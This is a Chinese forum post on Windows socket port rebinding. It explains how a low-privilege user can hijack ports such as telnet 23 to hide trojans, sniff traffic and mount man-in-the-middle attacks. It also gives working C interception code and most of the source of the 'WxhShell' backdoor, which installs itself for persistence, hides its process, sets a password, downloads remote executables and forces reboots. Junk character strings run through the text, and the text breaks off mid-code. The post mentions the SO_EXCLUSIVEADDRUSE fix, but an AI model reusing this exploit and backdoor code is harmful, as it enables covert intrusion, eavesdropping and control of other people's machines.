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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]Bs ?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )BTJs)E  
!EM21Sc  
  saddr.sin_family = AF_INET; @yaBtZUp3  
)dLESk  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `hS<F" j  
}se)=7d8 Z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); kTex>1W;  
6mEW*qp2F  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 MPO!qSS]  
q y y.3-(  
  这意味着什么?意味着可以进行如下的攻击: Ii*v(`2b  
)+ Wr- Yay  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 xn@?CP`-y  
yQhrPw> m  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !j4C:L3F  
S#+G?I3w  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (eJr-xZ/  
Rv q_Zsm  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ER5Q` H  
[ZURs3q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7^KQQ([  
]qXHalHY  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 yL.si)h(p  
}#<Sq57n  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 o^&; `XOd  
Eg-b5Z);  
  #include [X^JV/R  
  #include 4,s: G.g  
  #include .1I];Cy0D  
  #include    Ffj:xZ9rk  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0 nWV1)Q0=  
  int main() UUb!2sO  
  { _gC<%6#V`r  
  WORD wVersionRequested; o;];ng  
  DWORD ret; T,7Y7MzF  
  WSADATA wsaData; s ^V8FH  
  BOOL val; @dCu]0oNI  
  SOCKADDR_IN saddr; jI;bVG  
  SOCKADDR_IN scaddr; $o]zNW;X  
  int err; 308w0eP  
  SOCKET s; A$XjzTR  
  SOCKET sc; Q=PaTh   
  int caddsize; ;\<?LTp/r  
  HANDLE mt; lBG* P>;  
  DWORD tid;   6-KC[J^Xo  
  wVersionRequested = MAKEWORD( 2, 2 ); wmo'Pl  
  err = WSAStartup( wVersionRequested, &wsaData ); :WA o{|&  
  if ( err != 0 ) { \|62E):i1  
  printf("error!WSAStartup failed!\n"); o4~ft!>  
  return -1; #mkr]K8A4  
  } g=U?{<8.m  
  saddr.sin_family = AF_INET; (sqS(xIY  
   RTY$oUqlZ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4`8.\  
^G2vA8%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); M\v4{\2l0  
  saddr.sin_port = htons(23); "BFW&<1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qsk71L  
  { Uw&+zJ  
  printf("error!socket failed!\n"); 2{V|  
  return -1; _)_XO92~  
  } iT5H<uS  
  val = TRUE; s}z,{Y$-t  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 wd#AA#J;*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *(>$4$9n  
  { \pzvoj7{  
  printf("error!setsockopt failed!\n"); \ 3LD^[qi  
  return -1; O4E2)N  
  } .<NXk"\!y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; = oh6;Ojt  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^_=0.:QaW  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ZDDwh&h  
^@19cU?q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Z^~ 6pH\  
  { Aj`4uFhiL  
  ret=GetLastError(); <.v6w*+{/  
  printf("error!bind failed!\n"); }jk^M|Z"Oz  
  return -1; BuvBSLC~  
  } ;< ][upn  
  listen(s,2); ]_pL79y  
  while(1) _ x'StD  
  { ]Aluk|"`U  
  caddsize = sizeof(scaddr); 5-3gsy/Mo  
  //接受连接请求 785iY865  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >L;O, {Px-  
  if(sc!=INVALID_SOCKET) nx +& {hn(  
  { }GC{~ SZ4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2kgm)-z  
  if(mt==NULL) B~ez>/H^  
  { w[+!c-A:H  
  printf("Thread Creat Failed!\n"); h/k`+  
  break; *&PgDAQ  
  } jCl[!L5/1  
  } s-ou;S3s  
  CloseHandle(mt); >I!(CM":s$  
  } K@,VR3y /  
  closesocket(s); 8`~]9ej  
  WSACleanup(); x('yBf  
  return 0; GkC88l9z  
  }   z?aD Oh  
  DWORD WINAPI ClientThread(LPVOID lpParam) Xm-63U`w5  
  { gi6_la+  
  SOCKET ss = (SOCKET)lpParam; \*N1i`99  
  SOCKET sc; 2uHp%fv;  
  unsigned char buf[4096]; t(yv   
  SOCKADDR_IN saddr; CP'-CQ\Q  
  long num; Cf N; `  
  DWORD val; ,rdM{ r  
  DWORD ret; Z4!3I@yZ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 QHh#O+by#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   # 9t/j`{  
  saddr.sin_family = AF_INET; EGt)tI&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !:8!\gE ^P  
  saddr.sin_port = htons(23); 40E[cGz$*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d0^2<  
  { %xRS9A 4  
  printf("error!socket failed!\n"); g;h&Xkp  
  return -1; 3{l"E(qqZ  
  } t|m3b~Oyv  
  val = 100; ]VME`]t`  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S@#L!sT`u  
  { iiTUhO )  
  ret = GetLastError(); -UVWs2W'$  
  return -1; c>SeOnf  
  } 5ZVTI,4K  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vn<S"  
  { (G VGoh&  
  ret = GetLastError(); UQ)}i7v  
  return -1; Kf4z*5Veqr  
  } ?zEF?LJoK  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) f+V':qz  
  { E'G>'cW;x  
  printf("error!socket connect failed!\n"); dc)Gk  
  closesocket(sc); ob{pQx7  
  closesocket(ss); :m\KQ1sq  
  return -1; l_ c?q"X  
  } c0 |p34  
  while(1) : [y(<TLw  
  { v(iUo&Ge  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Eg*3**gTO  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 3_$eQ`AAA  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >$DqG$D  
  num = recv(ss,buf,4096,0); {76!  
  if(num>0) +$t%L  
  send(sc,buf,num,0); R5"p7>  
  else if(num==0) Kxn7sL$]=F  
  break; &}O!l'  
  num = recv(sc,buf,4096,0); {rZ"cUm  
  if(num>0) e`r;`a&  
  send(ss,buf,num,0); y~7lug  
  else if(num==0) wY#mL1dF  
  break; l'QR2r7&.  
  } __j8jEV  
  closesocket(ss); iC-ABOOu{l  
  closesocket(sc); aB^G  
  return 0 ; Q\L5ZJ%y/  
  } E 6: p  
>nQ yF  
5H+k_U  
========================================================== l{9h8]^  
Q=E@i9c9  
下边附上一个代码,,WXhSHELL K*$#D1hG  
or}*tSKX  
========================================================== 4-_lf(# i  
7-I>5 3@  
#include "stdafx.h" Kdu\`c-lB  
*K'ej4"u  
#include <stdio.h> YS~t d+*  
#include <string.h> "Q{~Bj~  
#include <windows.h> PU5mz.&0'  
#include <winsock2.h> C+XZDY(=Z  
#include <winsvc.h> '*u;:[73  
#include <urlmon.h> *]R 0z|MW  
"R@N|Qx'  
#pragma comment (lib, "Ws2_32.lib") l-}5@D[  
#pragma comment (lib, "urlmon.lib") DA`sm  
"H<#91^|  
#define MAX_USER   100 // 最大客户端连接数 }Xj_Y]T  
#define BUF_SOCK   200 // sock buffer Ch"8cl;Fm  
#define KEY_BUFF   255 // 输入 buffer '%C.([  
2Fgt)`{!  
#define REBOOT     0   // 重启 Ir"Q%>K0f  
#define SHUTDOWN   1   // 关机 qO{ ZZ*  
3n(gfQo-o  
#define DEF_PORT   5000 // 监听端口 jUvA<r  
D"4&9"CU  
#define REG_LEN     16   // 注册表键长度 lc7a@qnw   
#define SVC_LEN     80   // NT服务名长度 c[_^bs>k  
'QojSq   
// 从dll定义API LG{inhbp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \K~fRUo]=c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RS `9?c:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,GkW. vEU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;'QY<,p[e  
ywynx<Wg  
// wxhshell配置信息 r>~d[,^$m4  
struct WSCFG { t-*|Hfp*^  
  int ws_port;         // 监听端口 in #]3QGV  
  char ws_passstr[REG_LEN]; // 口令 }BdVD t  
  int ws_autoins;       // 安装标记, 1=yes 0=no nIQ&gbfO  
  char ws_regname[REG_LEN]; // 注册表键名 %=9yzIjbAt  
  char ws_svcname[REG_LEN]; // 服务名 w&yGYHg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 b>= Wq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {XD/8m(hN|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E<Dh_K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N1N{Ol'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BBR" HMa4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )R8%'X;U  
ct}%Mdg  
}; R G0S  
M ?xpwqu\  
// default Wxhshell configuration -}X?2Q  
struct WSCFG wscfg={DEF_PORT, H >:4MY  
    "xuhuanlingzhe", ^@`e  
    1, ;=-j;x  
    "Wxhshell", mw(c[.*%  
    "Wxhshell", UM( l%  
            "WxhShell Service", >*= =wlOB  
    "Wrsky Windows CmdShell Service", qfG tUkSSb  
    "Please Input Your Password: ", xshAr J&A  
  1, HS\3)Ooj>  
  "http://www.wrsky.com/wxhshell.exe", wY3|#P CDV  
  "Wxhshell.exe" &{E`=4T2  
    }; nx-1*  
~mK-8U4>K,  
// 消息定义模块 k%]DT.cE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B)rr7B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n</k/Mk}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ) \-96 xd  
char *msg_ws_ext="\n\rExit."; ZD)0P=%  
char *msg_ws_end="\n\rQuit."; #7]o6  
char *msg_ws_boot="\n\rReboot..."; XLZ j  
char *msg_ws_poff="\n\rShutdown..."; _,_8X7  
char *msg_ws_down="\n\rSave to "; *H5PT  
lk_s!<ni  
char *msg_ws_err="\n\rErr!"; uNe}"hs  
char *msg_ws_ok="\n\rOK!"; `10X5V@hP  
)X~Pr?52?  
char ExeFile[MAX_PATH]; 3w/( /|0  
int nUser = 0; +urS5c* j  
HANDLE handles[MAX_USER]; [`.3f'")j  
int OsIsNt; Kc%n(,+%"  
q%-&[%l  
SERVICE_STATUS       serviceStatus; h L]8e>a?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; MSZ!W(7,<  
731h ~x!u  
// 函数声明 B2~f;zy`  
int Install(void); &Y,Q>bu  
int Uninstall(void); )L |tn  
int DownloadFile(char *sURL, SOCKET wsh); ;TL(w7vK  
int Boot(int flag); PwW^y#96  
void HideProc(void); g7xbyB o7  
int GetOsVer(void); %K h2E2Pe  
int Wxhshell(SOCKET wsl); S3u yn78hI  
void TalkWithClient(void *cs); Fn:.Y8%-  
int CmdShell(SOCKET sock);  yS[z2:!  
int StartFromService(void); ybZ}  
int StartWxhshell(LPSTR lpCmdLine); w]};0v&\~s  
g4N%PV8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f}[H `OF  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i2$*}Cu  
99^AT*ByY  
// 数据结构和表定义 >0PUWr$8  
SERVICE_TABLE_ENTRY DispatchTable[] = ,b4):{  
{ Dd| "iA  
{wscfg.ws_svcname, NTServiceMain}, =op`fn%  
{NULL, NULL} 7p)N_cJD  
}; [{`)j  
bvl~[p$W3  
// 自我安装 ~|&="K4,:  
int Install(void) f hQy36i@  
{ sN m,Fmuz:  
  char svExeFile[MAX_PATH]; MZT6g.ny  
  HKEY key; jCzGus!rM  
  strcpy(svExeFile,ExeFile); Q[M (Wqg  
"H>.':c"+3  
// 如果是win9x系统,修改注册表设为自启动 0$tjNy e  
if(!OsIsNt) { tXt:HVN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \e<mSR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Iz#yQ`  
  RegCloseKey(key); 75ZH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RI-A"cc6A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k({2yc#RD&  
  RegCloseKey(key); Yx5J$!Ld  
  return 0; YMT8p\ #rp  
    } ~n WsP}`n  
  } 7i8eg*Gl  
} \yNQQ$B  
else { @g4Shlx|  
wf?u (3/%  
// 如果是NT以上系统,安装为系统服务 9`B0fv Q&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); eOt%xTx  
if (schSCManager!=0) /}Yqf`CZy  
{ Vvyj  
  SC_HANDLE schService = CreateService wUoiXi09  
  ( U;g S[8,p  
  schSCManager, 0#QKVZq2>  
  wscfg.ws_svcname, il12T`a  
  wscfg.ws_svcdisp, U/Wrh($ #4  
  SERVICE_ALL_ACCESS, <FUon  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vt.P*Z5  
  SERVICE_AUTO_START, /s:w^ g~  
  SERVICE_ERROR_NORMAL, S ZlC4=6c  
  svExeFile, 2Z)4(,  
  NULL, Ry z?v<)h  
  NULL, oV9z(!X/  
  NULL, ;1 |x  
  NULL, x? N.WABr;  
  NULL TnNWO+ kg  
  ); w9f _b3  
  if (schService!=0) GRT] aw  
  { =q+R   
  CloseServiceHandle(schService); ydQ!4  
  CloseServiceHandle(schSCManager); Q(Gyq:L=>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l$a?A[M$  
  strcat(svExeFile,wscfg.ws_svcname); KlN/\N\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #op:/j  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); YLOwQj'  
  RegCloseKey(key); s\gp5MT  
  return 0; N}b^fTq  
    } {,?ss$L  
  } o0ZBi|U\4  
  CloseServiceHandle(schSCManager); m`y9Cuk  
} *}cSE|S%  
} +j{Y,t{4  
 l{$[}<  
return 1; #G#g|x*V  
} 7 Wl-n  
A&zS'toU  
// 自我卸载 =dzWmL<~8  
int Uninstall(void) _?`&JF?*  
{ J;}3t!  
  HKEY key; 7Xg?U'X  
V.6)0fKZW  
if(!OsIsNt) { Wd8R u/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j6S"UwJjp  
  RegDeleteValue(key,wscfg.ws_regname); q .J sf+  
  RegCloseKey(key); y$b]7O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9b"MQ[B4#a  
  RegDeleteValue(key,wscfg.ws_regname); qMP1k7uG)  
  RegCloseKey(key); |3shc,7  
  return 0; 6na^]t~ncm  
  } ""% A'TZ  
} GZ3 ]N  
} $f$|6jM  
else { $t}<85YCQ  
8wK ~ i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "OmD@ EMT  
if (schSCManager!=0) /<Ld'J  
{ Ps4 ZFX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4!.(|h@  
  if (schService!=0) 0 1V^L}  
  { 0w=R_C)s  
  if(DeleteService(schService)!=0) { x Q4%e[/  
  CloseServiceHandle(schService); ,7_4 z]jK  
  CloseServiceHandle(schSCManager); 5/MKzoB  
  return 0; "V& I^YSc>  
  } 9'[ N1Un.=  
  CloseServiceHandle(schService); +4))/` DA  
  } -0C@hM,wm  
  CloseServiceHandle(schSCManager); O|kOI?f  
} %NHkDa!  
} *L4`$@l8  
0Ua%DyJ  
return 1; #V,R >0"  
} ntVS:F  
n'1'!J; Q  
// 从指定url下载文件 3qL>-%):*  
int DownloadFile(char *sURL, SOCKET wsh) fHRMu:q  
{ oU*45B`"  
  HRESULT hr; *{ {b~$  
char seps[]= "/"; FRu]kZv2  
char *token; PwB1]p=  
char *file; LJ)5W  
char myURL[MAX_PATH]; T .FI'wy  
char myFILE[MAX_PATH]; 7&qy5 y-Ap  
TS2ZF{m  
strcpy(myURL,sURL); K%v1xZ  
  token=strtok(myURL,seps); 6 Orum/|h  
  while(token!=NULL) ~\LCvcY"X  
  { ngohtB^]  
    file=token; Gs+3e8  
  token=strtok(NULL,seps); +Z M)bbB  
  } hCjR&ZA  
y){ k3lm0  
GetCurrentDirectory(MAX_PATH,myFILE); x^4xq#Bb7  
strcat(myFILE, "\\"); npJt3 Y_I  
strcat(myFILE, file); SN7"7joP<  
  send(wsh,myFILE,strlen(myFILE),0); d)4 m6  
send(wsh,"...",3,0); =U%Rvm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); TJ q~)Bm  
  if(hr==S_OK) n!p<A.O7@  
return 0; 'u4<BQVV[  
else ?HF%(>M  
return 1; ho##Z*O  
$YN6<5R)  
} &e 6CJ  
'EDda  
// 系统电源模块 :8CvRO*<  
int Boot(int flag)  A) ;  
{ At7>V-f}  
  HANDLE hToken; h4q|lA6!k8  
  TOKEN_PRIVILEGES tkp; S S2FTb-m  
Ty vtmx M  
  if(OsIsNt) { rE}%KsZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WI?oSE w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~//fN}~R  
    tkp.PrivilegeCount = 1; $ s9Vrw0Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #Q2Y&2`yGT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $STaQ28C  
if(flag==REBOOT) { uc;8 K,[t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5$V_Hj  
  return 0; zIh ['^3.n  
} /YZr~|65  
else { c-B cA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NR`C(^}  
  return 0; ^J$2?!~  
} |&RU/a  
  } q WQ/ 'M  
  else { 8C*c{(4  
if(flag==REBOOT) { vQ;Ex  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z'"tB/=W  
  return 0; .Y&)4+ckL  
}  Vh_P/C+  
else { \ExMk<y_&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,P;Pm68V  
  return 0; r>o63Q:  
} Mu+0<>   
} \WxukYH  
8fl`r~bqZ  
return 1; < jJ  
} "N`[r iq{  
59h)-^!  
// win9x进程隐藏模块 G3Z)Z) N  
void HideProc(void) &5yV xL:  
{  # 1OOU  
bbE!qk;hEP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U|jSa,}  
  if ( hKernel != NULL ) P GqQ@6B  
  { \W~ N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,J+}rPe"sf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1*\o.  
    FreeLibrary(hKernel); 8WXQ Oo8  
  } M/b Sud?@%  
8Vr%n2M  
return; 6 (]Dh;gC  
} fdFo#P  
 y3@H/U{  
// 获取操作系统版本 pR=@S>!|  
int GetOsVer(void) F1*>y  
{ 6^]+[q}3  
  OSVERSIONINFO winfo; !2%HhiB'   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |fK1/<sz#  
  GetVersionEx(&winfo); MTuV^0%jD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~%&LTX0s|  
  return 1; ,E S0NA  
  else >*35C`^  
  return 0; wW>A_{Y  
} +^60T$  
m*&]!mM"0G  
// 客户端句柄模块 :CG`t?N9M  
int Wxhshell(SOCKET wsl) &u$Q4  
{ oB(?_No7  
  SOCKET wsh; N G+GEqx  
  struct sockaddr_in client; oH97=>  
  DWORD myID; 3l rT3a3vV  
;`0%t$@-  
  while(nUser<MAX_USER) 8\&X2[oAD  
{ +}Dw3;W}m  
  int nSize=sizeof(client); }Y12  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V5+=e^pa2  
  if(wsh==INVALID_SOCKET) return 1; f,U.7E  
<sb~ ^B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =W(Q34  
if(handles[nUser]==0) - YEZ]:"  
  closesocket(wsh); ,0 M_ Bk"  
else WlOmJtt4)  
  nUser++; XWBA^|-N  
  } )1?y 8_B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B6MB48#0gs  
g];!&R-  
  return 0; p $S*dr  
} $0W|26;  
d[iQ` YW5  
// 关闭 socket zO-z%y  
void CloseIt(SOCKET wsh) S|Q@:r"  
{ k =>oO9`  
closesocket(wsh); ?g_3 [Fk  
nUser--; R$R *'l  
ExitThread(0); Xr,1&"B&t  
} Hus)c3Ty7  
ik)|{%!K]H  
// 客户端请求句柄 L^1NY3=$  
void TalkWithClient(void *cs) 2=*H 8'k  
{ Tf>bX_L?  
hZm"t/aKc  
  SOCKET wsh=(SOCKET)cs; \[;0 KV_  
  char pwd[SVC_LEN]; cn3#R.G~  
  char cmd[KEY_BUFF]; /J]5H  
char chr[1]; 'NWfBJm  
int i,j; /p/]t,-j2  
_P!m%34|  
  while (nUser < MAX_USER) { 9Gvd&U  
2R[:]-b  
if(wscfg.ws_passstr) { +Q/R{#O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Kew@&j~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J"0`%'*/  
  //ZeroMemory(pwd,KEY_BUFF); C"y(5U)d  
      i=0;  0HZ{Y9]  
  while(i<SVC_LEN) { 'lH|eU&-  
-M\<nx  
  // 设置超时 0- B5`=yU  
  fd_set FdRead; n'"/KS+_  
  struct timeval TimeOut; R!HXhQ  
  FD_ZERO(&FdRead); QFA8N  
  FD_SET(wsh,&FdRead); v_yw@  
  TimeOut.tv_sec=8; @ JGP,445  
  TimeOut.tv_usec=0;  \__i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +V2F#fI/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \P[Y`LYL  
."g`3tVK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xH ]Ct~ md  
  pwd=chr[0]; ldf\;Qk  
  if(chr[0]==0xd || chr[0]==0xa) { d z|or9&  
  pwd=0; T9=I$@/  
  break; YqscZ(L:y  
  } e+EQ]<M  
  i++; ;[ZEDF5H  
    } GC-5X`Sq  
`>o{P/HN  
  // 如果是非法用户,关闭 socket KR} ?H#%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fuW\bo3  
} !t"4!3  
hW<%R]^|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); XPc^Tq  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (g]!J_Z"  
RU|Q ]Ymx  
while(1) { JtE M,tK  
1C+13LE$U  
  ZeroMemory(cmd,KEY_BUFF); &C_j\7Dq  
RH W]Z Pr<  
      // 自动支持客户端 telnet标准   }RF(CwZr(  
  j=0; )$2QZ qX  
  while(j<KEY_BUFF) { Z-%\ <zT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2k~l$p>CN!  
  cmd[j]=chr[0]; E_rI?t^  
  if(chr[0]==0xa || chr[0]==0xd) { VD*6g%p  
  cmd[j]=0; ZvM(Q=^  
  break; gjyYCjF  
  } u[;\y|75  
  j++; K8|r&`X0  
    } ,L2ZinU:  
Y(y kng  
  // 下载文件 s[>,X#7 y  
  if(strstr(cmd,"http://")) { v4TQX<0s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ma]F7dZ5  
  if(DownloadFile(cmd,wsh)) {lzWrUGO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?>:g?.+  
  else dES"@?!^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5DU6rks%  
  }  \!X8   
  else { d'gfQlDny  
g}oi!f$|  
    switch(cmd[0]) { yPBZc h%-  
  J1U/.`Oy  
  // 帮助 4"(Bu/24  
  case '?': { _yx>TE2e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8NJqV+jn)t  
    break; q9K)Xk$LF  
  } C==hox7b  
  // 安装 &m7]v,&  
  case 'i': { G_8RK,H.  
    if(Install()) 7aRi5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $)i")=Hy  
    else FX&~\kmV'j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +)om^e@.  
    break; pU}(@oy  
    } 2zA4vZkbcw  
  // 卸载 ,-LwtePJ0  
  case 'r': { >2)OiQ`zg  
    if(Uninstall()) [S%_In   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H2\;%K 2  
    else W\,s:6iqz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~W'{p  
    break; f}ji?p  
    } #G|RnV%t$~  
  // 显示 wxhshell 所在路径 /Iy]DU8  
  case 'p': { wssRA?9<  
    char svExeFile[MAX_PATH]; I*{ nP)^9  
    strcpy(svExeFile,"\n\r"); gCS<iBT(7  
      strcat(svExeFile,ExeFile); y2dCEmhY  
        send(wsh,svExeFile,strlen(svExeFile),0); /SR*W5#s  
    break; /9*B)m"  
    } }eU*( }<^  
  // 重启 %lhEM}Sm  
  case 'b': { [PM 2\#K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `2WFk8) F  
    if(Boot(REBOOT)) 6I4\q.^qw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .GXBc  
    else { GW@;}m(  
    closesocket(wsh); zT.7  
    ExitThread(0); 4r#= *  
    } 3{64 @s  
    break; 6r0krbN  
    } ZohCP  
